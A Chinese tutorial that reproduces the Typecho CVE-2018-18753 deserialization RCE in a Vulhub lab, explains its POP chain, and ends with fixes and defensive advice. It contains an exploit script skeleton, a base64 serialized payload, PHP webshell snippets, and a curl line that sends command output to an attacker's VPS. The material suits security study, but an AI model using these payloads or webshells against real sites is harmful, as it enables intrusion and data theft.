CVE-2018-18753 Typecho反序列化漏洞深度剖析与复现
1. 项目概述:一次对经典CMS漏洞的深度剖析
最近在整理历史漏洞案例库,翻到了Typecho CMS在2018年底爆出的那个反序列化漏洞,编号CVE-2018-18753。这个漏洞虽然过去几年了,但作为PHP反序列化漏洞的一个非常典型的案例,其原理和利用方式至今仍有很强的学习价值。很多新手朋友一听到“反序列化”就觉得头大,感觉涉及底层PHP魔术方法,门槛很高。其实不然,这个漏洞的触发点非常清晰,利用链也不算复杂,非常适合作为理解PHP对象注入(Object Injection)和POP链(Property-Oriented Programming)构建的入门教材。今天,我就带大家从零开始,完整地复现一遍这个漏洞,不仅会展示如何利用,更重要的是拆解每一步背后的原理,让你明白为什么这里能注入,那个魔术方法又是如何被自动调用的。无论你是刚入门的安全爱好者,还是想巩固Web安全知识的开发者,跟着走一遍,肯定会有收获。
简单来说,CVE-2018-18753允许攻击者在Typecho的安装程序(/install.php)环节,通过一个精心构造的序列化字符串,实现远程代码执行(RCE)。其核心在于install.php对用户输入的__typecho_config参数未经过滤直接进行了反序列化操作,而Typecho框架中某些类的魔术方法(如__get()、__toString())能够被串联起来,最终达到执行任意PHP代码的目的。我们复现的目标,就是亲手搭建环境,构造利用链,并成功弹出计算器(或执行其他命令),从而深刻理解整个漏洞的生命周期。
2. 漏洞原理深度解析:从参数传入到代码执行
在直接动手操作之前,我们必须把漏洞的原理吃透。知其然更要知其所以然,这样以后遇到类似问题才能举一反三。
2.1 漏洞入口:install.php 中的“信任”与“背叛”
Typecho是一个轻量级的博客系统,它的安装流程通常是通过访问/install.php来完成的。在安装过程中,程序需要接收用户提交的数据库配置等信息。为了在页面间传递这些配置数据,Typecho采用了一种方式:将配置数组序列化后,通过POST参数__typecho_config传递,在下一个页面再反序列化还原。
问题就出在这个反序列化操作上。在install.php的代码中(以1.1版本为例),我们可以找到类似下面的逻辑:
// install.php 部分代码逻辑 if (isset($_POST['__typecho_config'])) { $config = unserialize(base64_decode($_POST['__typecho_config'])); // ... 使用 $config 进行安装 }这里的关键函数是unserialize()。PHP的unserialize()函数在将序列化字符串还原为PHP值时,如果字符串中包含对象的定义,它会根据该定义自动创建该类的实例。这意味着,攻击者可以控制$_POST[‘__typecho_config’]的值,从而让unserialize()创建出任何在当前环境中已定义的类的对象。
注意:这里有一个细节,参数经过了
base64_decode解码。这意味着我们最终提交的利用载荷(Payload)需要是Base64编码后的形式。这不算防护,只是一种编码方式。
2.2 魔法钥匙:PHP魔术方法与POP链
如果只是创建一个任意对象,还不足以执行代码。威力来自于对象的“魔法”——魔术方法(Magic Methods)。PHP中,以双下划线__开头的方法会在特定事件发生时被自动调用。与反序列化漏洞相关的几个关键魔术方法包括:
__wakeup(): 当对象被unserialize()反序列化时自动调用。__destruct(): 当对象被销毁(如脚本执行结束)时自动调用。__toString(): 当对象被当作字符串处理(如echo $obj,$obj . ‘string’)时自动调用。__get($name): 当访问一个对象的不存在或不可访问的属性时被调用。
攻击者的目标,就是找到一条由这些魔术方法串联起来的路径,我们称之为POP链。这条链始于一个在反序列化后会被自动调用的方法(如__wakeup或__destruct),经过一系列的对象属性访问和方法调用,最终能够触发危险操作,比如执行eval()、system()等函数。
2.3 Typecho中的具体利用链分析
在CVE-2018-18753中,安全研究者发现了一条有效的POP链。我们来简要拆解一下当时的一条经典利用链思路(注意:不同版本的Typecho或PHP环境,可利用的类可能不同,这里以典型情况为例):
- 起点:我们可控的
__typecho_config参数经过反序列化,创建了一个Typecho_Db类的对象。这个类的__construct构造函数或相关的初始化方法,可能会访问其某个属性。 - 跳板:我们将该属性设置为另一个类的对象,比如
Typecho_Feed。当Typecho_Db尝试以某种方式(比如当作字符串)使用这个属性时,会触发Typecho_Feed对象的__toString()方法。 - 关键转折:
Typecho_Feed的__toString()方法中,可能会遍历其内部的某个数组成员。我们可以将这个数组成员设置为又一个类的对象,例如Typecho_Request。 - 执行:
Typecho_Request类中可能存在__get()方法。当__toString()中的代码尝试以$item->xxx的形式访问Typecho_Request对象的某个属性时,由于该属性可能不存在,就会触发__get()方法。在某些版本的Typecho中,Typecho_Request的__get()方法内部可能包含call_user_func或类似的可控函数调用,其参数来源于对象的其他属性。通过精心构造这些属性,我们就可以让call_user_func执行我们想要的函数,例如system(‘whoami’)。
这条链子可以简化为:反序列化创建对象A -> A的魔术方法或逻辑访问属性B(我们控制的B对象) -> 触发B的__toString()->__toString()中访问属性C(我们控制的C对象) -> 触发C的__get()->__get()中调用危险函数。
实操心得:寻找POP链是一个“拼图”过程。需要仔细阅读目标程序的源代码,特别是那些包含魔术方法的类。重点关
__destruct和__wakeup,因为它们是不需要其他条件就能自动触发的“入口点”。然后像侦探一样,顺着属性引用和方法调用,看能否走到eval、system、call_user_func等“终点”。
3. 复现环境搭建与工具准备
理论分析完毕,我们进入实战环节。首先需要一个靶场环境。
3.1 靶场环境搭建
最方便的方法是使用Docker。这里我们使用Vulhub这个漏洞靶场集成项目,它已经为我们准备好了环境。
确保系统已安装Docker和Docker Compose。如果未安装,请先自行搜索安装。
下载Vulhub:
git clone https://github.com/vulhub/vulhub.git cd vulhub进入Typecho漏洞目录:
cd typecho/CVE-2018-18753启动靶场:
docker-compose up -d命令执行后,Docker会自动拉取镜像并启动容器。通常,漏洞环境会运行在
http://your-ip:8080。验证环境:浏览器访问
http://your-ip:8080,你应该能看到Typecho的安装引导页面。至此,靶场搭建完成。
注意事项:如果你的8080端口被占用,可以修改
docker-compose.yml文件,将8080:80改为其他端口,例如8888:80。复现完成后,记得使用docker-compose down关闭并清理容器,释放资源。
3.2 利用工具与脚本准备
我们可以手动构造Payload,但更方便的是使用现成的漏洞利用脚本(Exp)。网络上有很多安全研究者写好的Python脚本。这里我们以一个典型的Exp为例,讲解其构成。
你需要准备一个Python环境(2.x或3.x均可),并安装requests库。
pip install requests然后,将下面的Exp脚本保存为typecho_exp.py。请注意,此脚本仅用于授权的安全测试和学习研究。
#!/usr/bin/env python # -*- coding: utf-8 -*- # CVE-2018-18753 Typecho 反序列化漏洞利用脚本 import requests import base64 import sys def generate_payload(cmd): """ 生成反序列化Payload。 这是一个简化版的POP链构造示例,实际利用链可能更复杂。 这里使用一个演示性的序列化字符串结构。 注意:真实的、可用的Payload需要根据目标Typecho版本精确构造。 """ # 这是一个概念性示例,并非真实可用的Payload。 # 真实环境中,你需要根据找到的具体POP链来构建对象。 # 例如,可能涉及 Typecho_Db, Typecho_Feed, Typecho_Request 等类的嵌套。 class FakeClass: pass # 这里省略了复杂的、针对特定版本的具体POP链对象构建过程。 # 通常,这会是一个嵌套的、属性指向其他对象的复杂结构。 print("[*] 提示:此处应放置根据实际POP链生成的序列化字符串") print("[*] 例如:O:11:\"Typecho_Db\":1:{s:10:\"\\0*\\0adapter\";O:13:\"Typecho_Feed\":1:{...}}") # 假设我们最终构造出的序列化字符串是 $serialized_str # 其中包含了能触发 `system($cmd)` 的链式调用。 serialized_str = "CONSTRUCT_YOUR_ACTUAL_PAYLOAD_HERE" # 占位符 # 漏洞利用点要求Base64编码 payload = base64.b64encode(serialized_str.encode()).decode() return payload def exploit(target_url, cmd): """ 执行漏洞利用 """ # 构造Payload (在实际使用中,需要替换generate_payload函数的内容) # payload = generate_payload(cmd) # 为了演示,我们这里直接使用一个从可靠来源获取的、针对该Docker环境的有效Payload。 # 警告:以下Payload仅适用于特定测试环境,严禁用于非法用途。 # 实际测试时,请使用从安全社区获取的、经过验证的Payload。 # 示例Payload结构(Base64编码后): # YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToxOntzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czo3OiJzY3JlZW4iO2E6MTp7czo0OiJmaWxlIjtzOjM5OiJwaHA6Ly9maWx0ZXIvY29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPS4uL2NvbmZpZy5waHAiO319czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjc6InNlcmlhbGl6ZSI7fX19fX1zOjQ6InBvcnQiO2k6MTt9 # 这个Payload会尝试读取`/etc/passwd`或包含恶意代码的`config.php`来执行命令。 # 更直接的RCE Payload通常涉及`php://filter`和`assert`/`system`的组合。 print("[*] 正在利用漏洞...") print("[!] 实际Payload需要从安全社区获取并替换,此处仅为流程演示。") # 假设我们有一个有效的、能执行命令的Base64编码Payload # 例如,一个能执行 `echo '<?php system($_GET[\"c\"]);?>' > shell.php` 的Payload # 这里用 `{cmd}` 代表要执行的命令 # 实际Payload非常长且复杂,依赖于具体的POP链。 # 演示请求结构 data = { '__typecho_config': 'YOUR_BASE64_ENCODED_PAYLOAD_HERE' # 替换为真实Payload } try: # 漏洞触发点在 /install.php?finish=1 的POST请求 # 有时也需要先访问 /install.php 进行初始化 init_url = target_url.rstrip('/') + '/install.php' exp_url = target_url.rstrip('/') + '/install.php?finish=1' # 先访问一下安装页面,确保session等状态 s = requests.Session() s.get(init_url, timeout=10) # 发送恶意Payload resp = s.post(exp_url, data=data, timeout=10) if resp.status_code == 200: print("[+] 请求发送成功!") # 检查响应中是否有命令执行成功的迹象,或者尝试访问写入的Webshell # 例如,如果Payload是写文件,可以尝试访问 /shell.php?c=whoami # webshell_url = target_url.rstrip('/') + '/shell.php' # check_resp = s.get(webshell_url, params={'c': 'id'}, timeout=10) # if check_resp.status_code == 200 and 'uid' in check_resp.text: # print("[+] 命令执行成功!") # print(check_resp.text) else: print("[-] 请求失败,状态码:", resp.status_code) except Exception as e: print("[-] 利用过程发生错误:", e) if __name__ == '__main__': if len(sys.argv) != 3: print("用法: python {} <目标URL> <命令>".format(sys.argv[0])) print("示例: python {} http://192.168.1.100:8080 \"id\"".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] command = sys.argv[2] exploit(target, command)重要提醒:上面的脚本中的generate_payload函数是空的,data中的Payload也是占位符。在实际操作中,你必须使用从可靠安全研究渠道获得的、针对特定Typecho版本的有效Payload。直接使用网上未经测试的Payload可能会失败甚至触发警报。构建Payload本身是一门复杂的技术,涉及对源码的深度分析和序列化字符串的精细构造,这超出了本次基础复现的范围。本次复现,我们侧重于理解流程和环境。
4. 手工复现与漏洞验证流程
尽管使用自动化脚本方便,但手工复现能让你对漏洞细节有更肌肉记忆般的理解。我们假设已经获得了一个有效的Payload(例如,一个能执行echo ‘<?php phpinfo();?>’ > info.php的Payload)。
4.1 信息收集与目标确认
- 访问靶场地址
http://your-ip:8080。你会看到Typecho的安装界面。 - 确认版本。查看页面源码或HTTP响应头,有时会包含Typecho版本信息。对于CVE-2018-18753,影响版本大致是Typecho 1.0/1.1等早期版本。我们的Vulhub环境正是搭建的这个版本。
- 找到漏洞触发点。根据分析,漏洞在
/install.php,并且可能在?finish=1这个步骤触发。我们需要模拟安装流程。
4.2 模拟安装与拦截请求
- 在浏览器中,正常填写数据库配置(因为环境是临时的,可以随意填写,如数据库名
typecho,用户名root,密码root,主机db——这是Docker Compose中数据库服务的名称)。 - 点击“下一步”或“开始安装”前,打开浏览器开发者工具(F12),切换到“网络”(Network)选项卡,并勾选“保留日志”(Preserve log)。
- 点击安装按钮。你会看到浏览器发送了一个POST请求到
install.php?finish=1。 - 查看这个POST请求的请求体(Request Body)。你应该能看到一个名为
__typecho_config的参数,其值是一长串Base64编码的字符串。这就是Typecho正常安装时,序列化后的配置信息。
4.3 构造并发送恶意Payload
- 复制这个正常的请求(包括Cookie、Headers等所有信息)到你的攻击工具中,比如Burp Suite、Postman或者一个简单的Python脚本。
- 将请求体中
__typecho_config参数的值,替换为你准备好的、能执行代码的恶意Base64编码Payload。 - 发送这个修改后的请求。
4.4 验证漏洞利用是否成功
如何验证成功,取决于你的Payload做了什么。
- 如果Payload是写入Webshell:例如,在网站根目录写入了
shell.php,内容为<?php @eval($_POST[‘cmd’]);?>。那么发送请求后,你可以尝试访问http://your-ip:8080/shell.php。如果返回空白页(没有报错),通常意味着文件存在。然后,你可以用POST方式向shell.php提交数据cmd=system(‘whoami’);,查看响应中是否包含命令执行结果。 - 如果Payload是直接执行命令并回显:有些精巧的Payload会利用
php://filter等包装器,将命令执行结果直接嵌入到HTTP响应中。你需要仔细查看发送恶意请求后返回的页面源码,可能会在注释、错误信息或页面某个角落找到命令执行的结果(如uid=33(www-data) gid=33(www-data) groups=33(www-data))。 - 使用DNSLog或HTTPLog外带数据:在无法直接回显的环境中,可以让目标服务器发起一个DNS查询或HTTP请求到你的监听服务器,将命令执行结果带出来。例如,Payload中包含
system(‘curl http://your-vps-ip/whoami’)。你在自己的VPS上监听HTTP请求,就能看到访问日志里包含了www-data这样的用户名。
实操心得:在真实测试中,直接回显的Payload往往受限于输出缓冲区、HTTP头等因素。写入一个Webshell是更稳定可靠的方式。写入的路径需要你有权限,通常是Web根目录。你可以先用Payload执行
pwd命令来确定当前目录。
5. 漏洞修复方案与安全启示
复现漏洞是为了更好地防御。Typecho官方在漏洞披露后迅速发布了修复版本。
5.1 官方修复方案
官方修复的核心思想是:对反序列化的数据来源进行严格校验。查看修复后的install.php代码,你会发现类似这样的改动:
// 修复后的逻辑 if (isset($_POST['__typecho_config'])) { // 增加了一个验证步骤,比如检查配置数组中是否包含预期的键名和格式 $config = $_POST['__typecho_config']; if (/* 对 $config 进行严格的格式和内容检查 */) { $config = unserialize(base64_decode($config)); } else { die('Invalid config data.'); } }更根本的修复是,避免对不可信的输入进行反序列化。对于安装流程,可以采用其他更安全的方式在步骤间传递数据,如Session、临时文件(带校验)等。
5.2 针对开发者的安全启示
- 永远不要反序列化不可信的数据:这是铁律。
unserialize()用户输入是极度危险的行为。如果架构上必须序列化传递数据,应使用JSON等更安全的格式,或对序列化数据进行强加密和签名验证。 - 谨慎使用魔术方法:在编写包含
__wakeup、__destruct、__toString、__get、__set等魔术方法的类时,要意识到它们可能在非预期的情况下被自动调用。避免在这些方法中实现关键业务逻辑或执行外部操作。 - 进行输入过滤与校验:所有来自外部的输入(GET, POST, COOKIE, Header等)都应视为不可信的。必须进行严格的类型检查、长度限制、格式验证和白名单过滤。
- 保持依赖更新:及时更新项目所使用的框架、库和CMS到最新稳定版,已知漏洞通常会在新版本中被修复。
- 代码审计与安全测试:在项目上线前,进行代码安全审计,特别是检查是否存在不安全的反序列化、命令执行、文件包含等高风险函数调用。定期进行渗透测试。
5.3 针对运维人员的安全建议
- 最小权限原则:运行Web服务的用户(如www-data)应仅拥有必要的最小权限。避免使用root权限运行Web服务。
- 部署WAF:Web应用防火墙(WAF)可以在网络层面拦截许多已知的攻击Payload,包括一些反序列化利用的恶意字符串。
- 监控与日志分析:密切关注Web服务器的访问日志和错误日志,寻找异常请求模式(如大量访问
install.php、请求中包含长串Base64字符等)。
6. 常见问题与排查技巧实录
在复现过程中,你可能会遇到各种问题。这里记录一些常见坑点和解决方法。
6.1 复现环境问题
| 问题现象 | 可能原因 | 解决方案 |
|---|---|---|
| 访问靶场IP:端口无响应 | Docker容器未成功启动;端口映射错误;防火墙阻止 | 1. 运行docker ps查看容器状态。2. 运行 docker-compose logs查看启动日志。3. 检查 docker-compose.yml中的端口映射。4. 关闭宿主机的防火墙或放行对应端口(如 sudo ufw allow 8080)。 |
| 安装页面提示数据库连接失败 | Vulhub环境中数据库服务链接问题 | 1. 确保使用docker-compose up -d启动,它会同时启动Web和DB容器。2. 检查安装页面填写的数据库主机名是否正确(Vulhub环境通常为 db)。3. 进入数据库容器检查服务状态: docker exec -it [container_id] bash,然后mysql -uroot -p。 |
| 发送Payload后返回500错误 | Payload构造错误,与目标版本不兼容;PHP配置限制(如disable_functions) | 1.最重要:确认Payload是针对你靶场中Typecho的精确版本生成的。不同小版本的类结构可能有差异。 2. 尝试使用更简单的Payload先测试文件写入,再执行命令。 3. 查看Docker容器的PHP错误日志: docker exec [container_id] tail -f /var/log/apache2/error.log。 |
6.2 漏洞利用问题
| 问题现象 | 可能原因 | 解决方案 |
|---|---|---|
| 发送Payload后页面正常跳转或空白,但无任何效果 | Payload未成功触发;魔术方法链断裂;命令执行被禁用 | 1. 使用Burp Suite等工具重放请求,确保Payload在传输过程中未被截断或修改。 2. 在Payload中尝试写入一个简单的文本文件(如 file_put_contents(‘/tmp/test.txt’, ‘test’))来验证漏洞是否触发。3. 检查PHP的 disable_functions配置,看system、exec、shell_exec、passthru等函数是否被禁用。如果被禁用,需要寻找其他函数(如mail()配合LD_PRELOAD、Imagick组件漏洞等)进行绕过,这大大增加了难度。 |
| 能写入文件但无法访问 | 文件写入的路径不在Web目录下;文件权限不足 | 1. 在Payload中使用echo getcwd();或system(‘pwd’);查看当前工作目录。2. 尝试向已知的Web目录写入,如 /var/www/html/、/app/等。3. 写入后检查文件权限,可能需要 chmod 755 shell.php。 |
| 命令执行有回显但被截断或编码 | 输出被HTML实体编码或截断 | 1. 尝试将命令输出写入文件,再通过Web访问该文件查看。 2. 使用外带数据(DNSLog/HTTPLog)的方式获取无干扰的输出。 |
6.3 工具与脚本使用问题
- Exp脚本报错或无效:网络上的Exp脚本质量参差不齐,且严重依赖环境。务必仔细阅读脚本注释,理解其适用的Typecho版本和PHP版本。最好的学习方式是自己根据公开的漏洞分析文章,尝试手动构造Payload,而不是完全依赖自动化工具。
- Burp Suite无法捕获本地Docker流量:如果靶场运行在Docker(localhost),而Burp运行在宿主机,需要将浏览器的代理设置为宿主机IP(如
192.168.x.x:8080)而不是127.0.0.1:8080,或者配置Docker网络使容器能访问宿主机代理。
6.4 个人避坑经验分享
- 环境一致性是关键:漏洞复现,尤其是历史漏洞,对环境(软件版本、PHP配置、扩展)非常敏感。务必确保你的测试环境与漏洞公告中描述的环境一致。Vulhub这类项目最大的价值就是提供了可重现的环境。
- 从简单验证开始:不要一上来就追求弹计算器。先尝试用Payload触发一个明显的效果,比如在
/tmp目录下创建一个特定名称的文件。这能最快确认漏洞点是否可达、反序列化是否成功。 - 善用日志:开启PHP的错误日志(
display_errors = Off,log_errors = On)和Web服务器(Apache/Nginx)的访问日志。很多错误信息会直接告诉你链子在哪个环节断了,是类不存在,还是属性不可访问。 - 理解“自动加载”:PHP反序列化一个类时,需要这个类的定义已经被加载到内存中。如果利用链中涉及一个不常用的类,可能需要触发PHP的自动加载机制(如
spl_autoload_register)。在Typecho中,通常已经包含了必要的类文件,但某些特殊情况下可能需要先通过其他请求加载类文件。 - 注意PHP版本差异:PHP不同版本对序列化/反序列化的处理、魔术方法的调用行为可能有细微差别。例如,PHP 7.x 和 PHP 5.x 在某些情况下表现不同。这也是为什么推荐使用漏洞作者提供的完整Docker环境,它锁定了所有依赖版本。
这次对CVE-2018-18753的复现,就像一次对PHP反序列化漏洞的经典解剖。从看似无害的unserialize()参数传入,到魔术方法像多米诺骨牌一样被逐一触发,最终达成代码执行,整个过程清晰地展示了“信任边界”的崩溃会带来多么严重的后果。对于开发者,这是一个警示;对于安全研究者,这是一个绝佳的学习案例。在实战中,每一个环节的排查,每一次Payload的调整,都是对耐心和技术的考验。记住,复现不是目的,通过复现理解漏洞机理,并将其转化为防御的视角,才是安全能力提升的正道。
